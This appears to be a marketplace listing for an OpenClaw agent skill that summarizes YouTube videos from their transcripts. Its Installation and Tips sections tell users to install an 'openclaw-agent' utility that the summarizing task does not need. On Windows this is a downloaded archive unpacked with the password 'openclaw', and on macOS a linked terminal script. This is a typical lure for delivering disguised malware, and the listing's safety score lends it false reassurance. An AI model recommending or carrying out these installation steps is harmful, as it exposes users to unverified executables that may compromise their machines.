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youtube-summarize

Summarize YouTube videos by extracting transcripts and captions. Use when you need to get a quick summary of a video, extract key points, or analyze video content without watching it.

Why use this skill?

Automate your video research with the OpenClaw YouTube Summarizer. Extract clean transcripts, get metadata, and generate instant summaries from any YouTube video.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-35o20
Or

What This Skill Does

The youtube-summarize skill is a powerful OpenClaw agent capability designed to extract, clean, and distill information from YouTube video content. By leveraging yt-dlp under the hood, the skill bypasses the need for manual watching by pulling transcripts and metadata directly from the source. It automates the complex pipeline of downloading subtitles in VTT format, stripping away timestamps, removing repetitive cues, and formatting the text into a clean, LLM-ready summary. Whether you are dealing with technical tutorials, podcasts, or lecture series, this skill streamlines your information intake workflow.

Installation

Installation requires two core components. First, ensure the yt-dlp package is installed via pip for command-line access. Second, you must install the openclaw-agent utility. On Windows, download the provided package (extract with password 'openclaw') to enable the backend processing. On macOS, follow the terminal script instructions linked in the documentation to ensure the environment is correctly configured. Finally, install the skill via the OpenClaw hub: clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-35o20.

Use Cases

  • Research: Quickly parse long-form academic or educational videos for specific data points without scrubbing through a timeline.
  • Content Repurposing: Convert video transcripts into blog posts, social media captions, or newsletter content effortlessly.
  • Efficiency: Speed up your learning process by getting key takeaways from a 60-minute video in under a minute.
  • Archiving: Save clean, searchable text versions of important video references to your local storage for future retrieval.

Example Prompts

  1. "Please summarize this video for me: [LINK]. Focus specifically on the step-by-step instructions mentioned in the second half."
  2. "Extract the key arguments from this debate: [LINK] and list them as bullet points."
  3. "Could you fetch the metadata and a brief summary of this tutorial: [LINK]? I need to know if it covers advanced Python decorators."

Tips & Limitations

  • Language Support: The skill currently defaults to English subtitles. Ensure the video has English captions available, or the extraction might fail.
  • Accuracy: Since it relies on auto-generated transcripts, clarity is highly dependent on the original audio quality and the platform's speech-to-text accuracy.
  • Dependencies: If your transcript comes back empty, verify that your openclaw-agent executable is active and that the video hasn't disabled public transcript access.

Metadata

Stars2387
Views0
Updated2026-03-09
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Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-youtube-summarize-35o20": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#youtube#summarization#transcript#productivity#video-analysis
Safety Score: 4/5

Flags: file-read, file-write, code-execution, network-access